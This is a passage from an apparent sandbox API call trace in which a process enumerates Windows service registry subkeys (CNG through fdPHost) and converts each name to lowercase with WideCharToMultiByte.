lpUsedDefaultChar=0x0) returned 6 [0239.576] RegEnumKeyW (in: hKey=0x150, dwIndex=0x46, lpName=0x2152850, cchName=0x104 | out: lpName="CNG") returned 0x0 [0239.576] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0239.576] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cng", cchWideChar=3, lpMultiByteStr=0x21f1928, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cng", lpUsedDefaultChar=0x0) returned 3 [0239.576] RegEnumKeyW (in: hKey=0x150, dwIndex=0x47, lpName=0x2152850, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0239.576] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="compbatt", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.576] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="compbatt", cchWideChar=8, lpMultiByteStr=0x21f1d60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="compbatt", lpUsedDefaultChar=0x0) returned 8 [0239.576] RegEnumKeyW (in: hKey=0x150, dwIndex=0x48, lpName=0x2152850, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0239.576] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="compositebus", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0239.576] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="compositebus", cchWideChar=12, lpMultiByteStr=0x21f1928, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="compositebus", lpUsedDefaultChar=0x0) returned 12 [0239.576] RegEnumKeyW (in: hKey=0x150, dwIndex=0x49, lpName=0x2152850, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0239.576] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="comsysapp", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0239.576] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="comsysapp", cchWideChar=9, lpMultiByteStr=0x21f1d60, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="comsysapp", lpUsedDefaultChar=0x0) returned 9 [0239.576] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4a, lpName=0x2152850, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0239.577] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="crcdisk", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0239.577] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="crcdisk", cchWideChar=7, lpMultiByteStr=0x21f1928, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="crcdisk", lpUsedDefaultChar=0x0) returned 7 [0239.577] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4b, lpName=0x2152850, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0239.577] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="crypt32", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0239.577] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="crypt32", cchWideChar=7, lpMultiByteStr=0x21f1d60, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="crypt32", lpUsedDefaultChar=0x0) returned 7 [0239.577] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4c, lpName=0x2152850, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0239.577] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cryptsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.577] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cryptsvc", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cryptsvc", lpUsedDefaultChar=0x0) returned 8 [0239.577] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4d, lpName=0x2152850, cchName=0x104 | out: lpName="CSC") returned 0x0 [0239.577] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="csc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0239.577] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="csc", cchWideChar=3, lpMultiByteStr=0x21f1d60, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="csc", lpUsedDefaultChar=0x0) returned 3 [0239.577] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4e, lpName=0x2152850, cchName=0x104 | out: lpName="CscService") returned 0x0 [0239.577] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cscservice", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0239.577] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cscservice", cchWideChar=10, lpMultiByteStr=0x21f1928, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cscservice", lpUsedDefaultChar=0x0) returned 10 [0239.577] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4f, lpName=0x2152850, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0239.577] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dclocator", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0239.578] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dclocator", cchWideChar=9, lpMultiByteStr=0x21f1d60, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dclocator", lpUsedDefaultChar=0x0) returned 9 [0239.578] RegEnumKeyW (in: hKey=0x150, dwIndex=0x50, lpName=0x2152850, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0239.578] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dcomlaunch", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0239.578] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dcomlaunch", cchWideChar=10, lpMultiByteStr=0x21f1928, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dcomlaunch", lpUsedDefaultChar=0x0) returned 10 [0239.578] RegEnumKeyW (in: hKey=0x150, dwIndex=0x51, lpName=0x2152850, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0239.578] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="defragsvc", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0239.578] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="defragsvc", cchWideChar=9, lpMultiByteStr=0x21f1d60, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="defragsvc", lpUsedDefaultChar=0x0) returned 9 [0239.578] RegEnumKeyW (in: hKey=0x150, dwIndex=0x52, lpName=0x2152850, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0239.578] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfsc", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0239.578] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfsc", cchWideChar=4, lpMultiByteStr=0x21f1928, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dfsc", lpUsedDefaultChar=0x0) returned 4 [0239.578] RegEnumKeyW (in: hKey=0x150, dwIndex=0x53, lpName=0x2152850, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0239.578] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dhcp", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0239.578] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dhcp", cchWideChar=4, lpMultiByteStr=0x21f1d60, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dhcp", lpUsedDefaultChar=0x0) returned 4 [0239.578] RegEnumKeyW (in: hKey=0x150, dwIndex=0x54, lpName=0x2152850, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0239.578] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="diagtrack", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0239.578] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="diagtrack", cchWideChar=9, lpMultiByteStr=0x21f1928, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="diagtrack", lpUsedDefaultChar=0x0) returned 9 [0239.579] RegEnumKeyW (in: hKey=0x150, dwIndex=0x55, lpName=0x2152850, cchName=0x104 | out: lpName="discache") returned 0x0 [0239.579] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="discache", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.579] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="discache", cchWideChar=8, lpMultiByteStr=0x21f1d60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="discache", lpUsedDefaultChar=0x0) returned 8 [0239.579] RegEnumKeyW (in: hKey=0x150, dwIndex=0x56, lpName=0x2152850, cchName=0x104 | out: lpName="Disk") returned 0x0 [0239.579] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="disk", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0239.579] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="disk", cchWideChar=4, lpMultiByteStr=0x21f1928, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="disk", lpUsedDefaultChar=0x0) returned 4 [0239.579] RegEnumKeyW (in: hKey=0x150, dwIndex=0x57, lpName=0x2152850, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0239.579] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dmvsc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0239.579] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dmvsc", cchWideChar=5, lpMultiByteStr=0x21f1d60, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dmvsc", lpUsedDefaultChar=0x0) returned 5 [0239.579] RegEnumKeyW (in: hKey=0x150, dwIndex=0x58, lpName=0x2152850, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0239.579] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dnscache", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.579] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dnscache", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dnscache", lpUsedDefaultChar=0x0) returned 8 [0239.579] RegEnumKeyW (in: hKey=0x150, dwIndex=0x59, lpName=0x2152850, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0239.579] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dot3svc", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0239.579] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dot3svc", cchWideChar=7, lpMultiByteStr=0x21f1d60, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dot3svc", lpUsedDefaultChar=0x0) returned 7 [0239.579] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5a, lpName=0x2152850, cchName=0x104 | out: lpName="DPS") returned 0x0 [0239.580] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dps", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0239.580] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dps", cchWideChar=3, lpMultiByteStr=0x21f1928, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dps", lpUsedDefaultChar=0x0) returned 3 [0239.580] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5b, lpName=0x2152850, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0239.580] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="drmkaud", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0239.580] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="drmkaud", cchWideChar=7, lpMultiByteStr=0x21f1d60, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="drmkaud", lpUsedDefaultChar=0x0) returned 7 [0239.580] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5c, lpName=0x2152850, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0239.580] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dxgkrnl", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0239.580] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dxgkrnl", cchWideChar=7, lpMultiByteStr=0x21f1928, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dxgkrnl", lpUsedDefaultChar=0x0) returned 7 [0239.580] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5d, lpName=0x2152850, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0239.580] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="e1g60", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0239.580] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="e1g60", cchWideChar=5, lpMultiByteStr=0x21f1d60, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="e1g60", lpUsedDefaultChar=0x0) returned 5 [0239.580] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5e, lpName=0x2152850, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0239.580] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eaphost", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0239.580] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eaphost", cchWideChar=7, lpMultiByteStr=0x21f1928, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eaphost", lpUsedDefaultChar=0x0) returned 7 [0239.580] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5f, lpName=0x2152850, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0239.580] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ebdrv", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0239.581] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ebdrv", cchWideChar=5, lpMultiByteStr=0x21f1d60, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ebdrv", lpUsedDefaultChar=0x0) returned 5 [0239.581] RegEnumKeyW (in: hKey=0x150, dwIndex=0x60, lpName=0x2152850, cchName=0x104 | out: lpName="EFS") returned 0x0 [0239.581] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="efs", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0239.581] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="efs", cchWideChar=3, lpMultiByteStr=0x21f1928, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="efs", lpUsedDefaultChar=0x0) returned 3 [0239.581] RegEnumKeyW (in: hKey=0x150, dwIndex=0x61, lpName=0x2152850, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0239.581] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ehrecvr", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0239.581] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ehrecvr", cchWideChar=7, lpMultiByteStr=0x21f1d60, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ehrecvr", lpUsedDefaultChar=0x0) returned 7 [0239.581] RegEnumKeyW (in: hKey=0x150, dwIndex=0x62, lpName=0x2152850, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0239.581] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ehsched", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0239.581] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ehsched", cchWideChar=7, lpMultiByteStr=0x21f1928, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ehsched", lpUsedDefaultChar=0x0) returned 7 [0239.581] RegEnumKeyW (in: hKey=0x150, dwIndex=0x63, lpName=0x2152850, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0239.581] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="elxstor", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0239.581] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="elxstor", cchWideChar=7, lpMultiByteStr=0x21f1d60, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="elxstor", lpUsedDefaultChar=0x0) returned 7 [0239.581] RegEnumKeyW (in: hKey=0x150, dwIndex=0x64, lpName=0x2152850, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0239.582] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="errdev", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0239.582] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="errdev", cchWideChar=6, lpMultiByteStr=0x21f1928, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="errdev", lpUsedDefaultChar=0x0) returned 6 [0239.582] RegEnumKeyW (in: hKey=0x150, dwIndex=0x65, lpName=0x2152850, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0239.582] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="esent", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0239.582] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="esent", cchWideChar=5, lpMultiByteStr=0x21f1d60, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="esent", lpUsedDefaultChar=0x0) returned 5 [0239.582] RegEnumKeyW (in: hKey=0x150, dwIndex=0x66, lpName=0x2152850, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0239.582] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventlog", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.582] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventlog", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventlog", lpUsedDefaultChar=0x0) returned 8 [0239.582] RegEnumKeyW (in: hKey=0x150, dwIndex=0x67, lpName=0x2152850, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0239.582] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0239.582] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0x21f1d60, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventsystem", lpUsedDefaultChar=0x0) returned 11 [0239.582] RegEnumKeyW (in: hKey=0x150, dwIndex=0x68, lpName=0x2152850, cchName=0x104 | out: lpName="exfat") returned 0x0 [0239.582] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exfat", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0239.582] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exfat", cchWideChar=5, lpMultiByteStr=0x21f1928, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="exfat", lpUsedDefaultChar=0x0) returned 5 [0239.582] RegEnumKeyW (in: hKey=0x150, dwIndex=0x69, lpName=0x2152850, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0239.582] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fastfat", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0239.583] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fastfat", cchWideChar=7, lpMultiByteStr=0x21f1d60, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fastfat", lpUsedDefaultChar=0x0) returned 7 [0239.583] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6a, lpName=0x2152850, cchName=0x104 | out: lpName="Fax") returned 0x0 [0239.583] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0239.583] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0x21f1928, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fax", lpUsedDefaultChar=0x0) returned 3 [0239.583] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6b, lpName=0x2152850, cchName=0x104 | out: lpName="fdc") returned 0x0 [0239.583] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0239.583] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdc", cchWideChar=3, lpMultiByteStr=0x21f1d60, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fdc", lpUsedDefaultChar=0x0) returned 3 [0239.583] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6c, lpName=0x2152850, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0239.583] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdphost", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0239.583] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdphost", cchWideChar=7, lpMultiByteStr=0x21f1928, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fdphost", lpUsedDefaultChar=0x0) returned 7 [0239.583] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6d, lpName=0x2152850, cchName=0x104 | out: 